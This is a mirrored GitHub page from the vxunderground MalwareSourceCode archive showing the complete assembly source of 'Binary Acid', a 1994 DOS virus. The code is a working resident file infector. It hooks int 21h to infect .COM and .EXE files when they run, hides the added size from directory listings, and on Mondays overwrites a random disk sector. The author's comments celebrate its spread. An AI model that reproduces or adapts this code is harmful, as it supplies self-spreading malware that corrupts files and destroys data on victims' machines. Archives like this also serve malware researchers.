mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 06:55:27 +00:00
358 lines
12 KiB
NASM
358 lines
12 KiB
NASM
;Binary Acid Virus
|
|
;by Evil Avatar
|
|
;Another lame virus by me. Then again, not bad for my second virus!
|
|
;This is a resident .COM/.EXE/.OV? infector that infects on file runs.
|
|
;It does hide the size change AND avoids CHKDSK and its ilk.
|
|
;Plenty more from me to come. Stay tuned.
|
|
|
|
.model tiny ;if you are lost already, you
|
|
.code ;shouldn't be playing with viruses
|
|
org 0h
|
|
|
|
v_mem equ (v_end-Acid+15)/16+1
|
|
v_word equ (v_end-Acid)/2
|
|
id equ 0a0ffh
|
|
v_file equ (heap-Acid)
|
|
|
|
Acid: call next
|
|
next: pop bp
|
|
sub bp, offset next ;get delta offset
|
|
|
|
mov ax, id
|
|
sub bx, bx
|
|
int 21h ;residentcy install check
|
|
|
|
push es ;save PSP segment
|
|
cmp bx, id ;are we here already?
|
|
je check ;then exit
|
|
|
|
mov ax, 3521h
|
|
int 21h ;get int 21h vector
|
|
mov word ptr [bp+save_21], bx
|
|
mov word ptr [bp+save_21+2], es ;save int 21h vector
|
|
|
|
mov ax, ds ;ds=PSP segment
|
|
dec ax ;ax=MCB segment
|
|
mov es, ax ;es=MCB segment
|
|
cmp byte ptr es:[0], 'Z' ;is it last MCB in chain?
|
|
jne done ;no? exit
|
|
sub word ptr es:[3], v_mem ;allocate memory for virus
|
|
sub word ptr es:[12h], v_mem ;change TOM field in PSP
|
|
mov ax, es:[12h] ;find virus MCB segment
|
|
mov es, ax ;es=virus MCB segment
|
|
mov byte ptr es:[0], 'Z' ;mark as last in MCB chain
|
|
mov word ptr es:[1], 8 ;DOS now owns this
|
|
mov word ptr es:[3], v_mem-1 ;set the size of segment
|
|
inc ax ;ax=virus segment
|
|
mov es, ax ;es=virus segment
|
|
lea si, [bp+offset Acid] ;start of virus
|
|
sub di, di ;clear di
|
|
mov cx, v_word ;virus size in words
|
|
rep movsw ;copy virus to TOM
|
|
|
|
push es
|
|
pop ds ;put segment in ds
|
|
mov ax, 2521h
|
|
mov dx, offset int21
|
|
int 21h ;set new int 21h vector in virus
|
|
|
|
check: pop es ;restore es
|
|
mov ah, 2ah
|
|
int 21h ;get date
|
|
cmp al, 1 ;is it a monday?
|
|
je destroy ;chew a sector
|
|
return:
|
|
cmp sp, 0abcdh ;is this an .exe file?
|
|
jne done ;no? restore com stuff
|
|
push es
|
|
pop ds
|
|
mov ax, es ;ax=PSP segment
|
|
add ax, 10h ;adjust for PSP size
|
|
add word ptr cs:[bp+comsave+2], ax ;set up cs
|
|
add ax, word ptr cs:[bp+_ss_sp+2] ;set up ss
|
|
cli ;clear ints for stack manipulation
|
|
mov ss, ax ;set ss
|
|
mov sp, word ptr [bp+_ss_sp] ;set sp
|
|
sti ;restore ints
|
|
db 0eah ;jump to old program
|
|
comsave db 0cdh, 20h, 0, 0
|
|
|
|
destroy:
|
|
in al, 40h
|
|
xchg al, ah
|
|
in al, 40h ;get a random number
|
|
xchg ax, dx
|
|
mov cx, 1
|
|
mov ax, 2
|
|
int 26h ;and crunch that sector
|
|
jmp return ;return to program
|
|
|
|
done: push cs
|
|
pop ds ;ds=cs
|
|
push cs
|
|
pop es ;es=cs
|
|
|
|
mov di, 100h ;beginning of program
|
|
push di ;for later return
|
|
lea si, [bp+comsave] ;first 3 bytes of program
|
|
movsb
|
|
movsw ;restore first 3 bytes
|
|
|
|
ret ;return to program
|
|
|
|
int21: cmp ax, id ;is this an installation check?
|
|
je vcheck ;yes? tell 'em we're here
|
|
push bx
|
|
push cx
|
|
push si
|
|
push di
|
|
push es
|
|
push dx
|
|
push ds ;save regs
|
|
push ax
|
|
cmp ah, 4bh ;hmm..execute huh? well, they
|
|
je v_com ;did it to themselves
|
|
cmp ah, 11h ;dir check
|
|
je dirfix
|
|
cmp ah, 12h ;dir check
|
|
je dirfix
|
|
pop ax
|
|
pop ds
|
|
pop dx
|
|
intpop: pop es
|
|
pop di
|
|
pop si
|
|
pop cx
|
|
pop bx ;restore regs
|
|
jmp dword ptr cs:[save_21] ;jump to DOS int 21h
|
|
|
|
vcheck: xchg ax, bx ;put ID into bx
|
|
iret
|
|
|
|
dirfix: pushf
|
|
call dword ptr cs:save_21 ;simulate int 21h call
|
|
|
|
mov word ptr cs:[buffer], ax ;save return
|
|
push ax
|
|
push si
|
|
pushf ;save the new flags
|
|
mov si, sp
|
|
mov ax, [si] ;get new flags
|
|
mov [si+10], ax ;put them where old flags are
|
|
popf
|
|
pop si
|
|
pop ax
|
|
|
|
test al, al ;see if file is found
|
|
jnz nofile ;if none, exit
|
|
|
|
mov ah, 51h
|
|
int 21h ;get PSP segment
|
|
mov es, bx
|
|
cmp bx, es:[16h] ;is it DOS?
|
|
jne nofile ;no? avoid CHKDSK
|
|
|
|
mov ah, 2fh
|
|
int 21h ;get DTA in es:bx
|
|
|
|
cmp byte ptr ds:[bx], -1 ;is it extended FCB?
|
|
jne cont
|
|
add bx, 7 ;then add 7 to pointer
|
|
cont: mov cx, ds:[bx+17h] ;get time
|
|
and cx, 1fh ;get seconds
|
|
cmp cx, 1fh ;if not 62 secs then exit
|
|
jne nofile
|
|
|
|
sub ds:[bx+1dh], v_file
|
|
sbb word ptr ds:[bx+1fh], 0 ;subtract virus size
|
|
|
|
nofile: pop ax ;if you can read this
|
|
pop ds ;you don't need glasses
|
|
pop dx
|
|
pop es
|
|
pop di
|
|
pop si
|
|
pop cx
|
|
pop bx ;restore regs
|
|
mov ax, word ptr cs:[buffer] ;restore return type
|
|
iret
|
|
|
|
v_com: push ds
|
|
push dx
|
|
push cs
|
|
pop ds
|
|
mov ax, 3524h
|
|
int 21h ;get critical error handler
|
|
mov word ptr [save_24], bx
|
|
mov word ptr [save_24+2], es ;save it
|
|
mov ax, 2524h
|
|
mov dx, offset int24
|
|
int 21h ;set new critical error handler
|
|
pop dx
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
|
|
mov ax, 4300h
|
|
int 21h ;get attributes of file
|
|
push cx ;save attributes
|
|
mov ax, 4301h
|
|
sub cx, cx
|
|
int 21h ;clear attributes
|
|
jc booster
|
|
|
|
mov ax, 3d02h
|
|
int 21h ;open file
|
|
xchg ax, bx ;put handle in bx
|
|
|
|
push cs
|
|
pop ds ;ds=cs for all references
|
|
jmp past_booster
|
|
booster: ;i hate having to use these
|
|
pop cx
|
|
pop ax
|
|
pop ds
|
|
pop dx
|
|
push ax
|
|
jmp bad_file
|
|
text db 'KW' ;you'll never guess
|
|
past_booster:
|
|
mov ah, 3fh
|
|
mov cx, 1ah
|
|
mov dx, offset buffer
|
|
int 21h ;read first 1ah bytes
|
|
|
|
mov ax, 5700h
|
|
int 21h ;get file time and date
|
|
mov word ptr [time], cx ;save time
|
|
mov word ptr [date], dx ;save date
|
|
and cx, 1fh ;get seconds
|
|
cmp cx, 1fh ;is it 62 secs?
|
|
je close ;already infected
|
|
|
|
cmp word ptr [buffer], 'ZM'
|
|
je v_exe
|
|
cmp word ptr [buffer], 'MZ'
|
|
je v_exe ;if .exe file then infect it
|
|
|
|
mov si, offset buffer
|
|
mov di, offset comsave
|
|
movsb
|
|
movsw ;move combytes to comsave
|
|
mov ax, 4202h
|
|
sub cx, cx
|
|
cwd
|
|
int 21h ;move pointer to EOF
|
|
|
|
sub ax, 3
|
|
mov byte ptr [buffer], 0e9h
|
|
mov word ptr [buffer+1], ax ;set up jump
|
|
|
|
write_virus:
|
|
mov ah, 40h
|
|
mov cx, v_file
|
|
cwd
|
|
int 21h ;write virus to EOF
|
|
mov ax, 4200h
|
|
sub cx, cx
|
|
int 21h ;go to beginning of file
|
|
mov ah, 40h
|
|
mov cx, 1ah ;restore buffer size
|
|
mov dx, offset buffer
|
|
int 21h ;write header or jump
|
|
|
|
sign: mov ax, 5701h
|
|
mov cx, word ptr [time] ;get time
|
|
or cx, 1fh ;set seconds to 62
|
|
mov dx, word ptr [date] ;get date
|
|
int 21h ;set file time and date
|
|
|
|
close: mov ah, 3eh
|
|
int 21h ;close file
|
|
|
|
pop cx ;get attributes
|
|
pop ax
|
|
pop ds
|
|
pop dx ;get file name
|
|
push ax
|
|
mov ax, 4301h
|
|
int 21h ;restore attributes
|
|
bad_file:
|
|
push ds
|
|
push dx
|
|
mov ax, 2524h
|
|
lds dx, dword ptr cs:[save_24]
|
|
int 21h ;restore old int 24h
|
|
pop dx
|
|
pop ds
|
|
pop ax
|
|
jmp intpop ;return to caller
|
|
|
|
v_exe: push bx
|
|
les ax, dword ptr [buffer+14h] ;get cs:ip in es:ax
|
|
mov word ptr [comsave], ax ;save ip
|
|
mov word ptr [comsave+2], es ;save cs
|
|
|
|
les ax, dword ptr [buffer+0eh] ;get ss:sp
|
|
mov word ptr [_ss_sp], es ;save sp
|
|
mov word ptr [_ss_sp+2], ax ;save ss
|
|
|
|
add word ptr [buffer+0ah], v_mem ;set new minimum memory requested
|
|
|
|
mov ax, word ptr [buffer+8] ;get header size
|
|
mov cl, 10h
|
|
mul cl ;change to bytes
|
|
push ax ;save it
|
|
|
|
mov ax, 4202h
|
|
sub cx, cx
|
|
cwd ;move file pointer to EOF
|
|
int 21h ;and get file size in dx:ax
|
|
|
|
pop cx ;restore header size
|
|
push dx
|
|
push ax ;save file size
|
|
|
|
sub ax, cx
|
|
sbb dx, 0 ;get new cs:ip
|
|
|
|
mov word ptr [buffer+16h], dx ;save cs
|
|
mov word ptr [buffer+14h], ax ;save ip
|
|
|
|
mov word ptr [buffer+0eh], dx ;save ss
|
|
mov word ptr [buffer+10h], 0abcdh ;save sp
|
|
|
|
pop ax
|
|
pop dx ;get file size
|
|
add ax, (v_end-Acid)
|
|
adc dx, 0 ;add virus size
|
|
|
|
mov cx, 200h
|
|
div cx ;convert to pages
|
|
push ax ;save it
|
|
or dx, dx ;is there a remainder?
|
|
je remainder ;yes? increment number of pages
|
|
inc ax
|
|
remainder:
|
|
mov word ptr [buffer+4], ax ;save number of pages
|
|
pop ax
|
|
and ah, 1
|
|
mov word ptr [buffer+2], ax ;file size MOD 512
|
|
pop bx
|
|
jmp write_virus
|
|
|
|
int24: mov al, 3 ;fail the call
|
|
iret
|
|
|
|
vname db '[Binary Acid]', 0 ;do you need this explained???
|
|
author db '(c) 1994 Evil Avatar', 0 ;this is me (duh!)
|
|
_ss_sp dd ? ;stack pointer
|
|
heap: ;variables
|
|
save_21 dd ? ;int 21h entry
|
|
save_24 dd ? ;int 24h entry
|
|
time dw ? ;file time
|
|
date dw ? ;file date
|
|
buffer db 1ah dup (?) ;buffer
|
|
v_end:
|
|
end Acid
|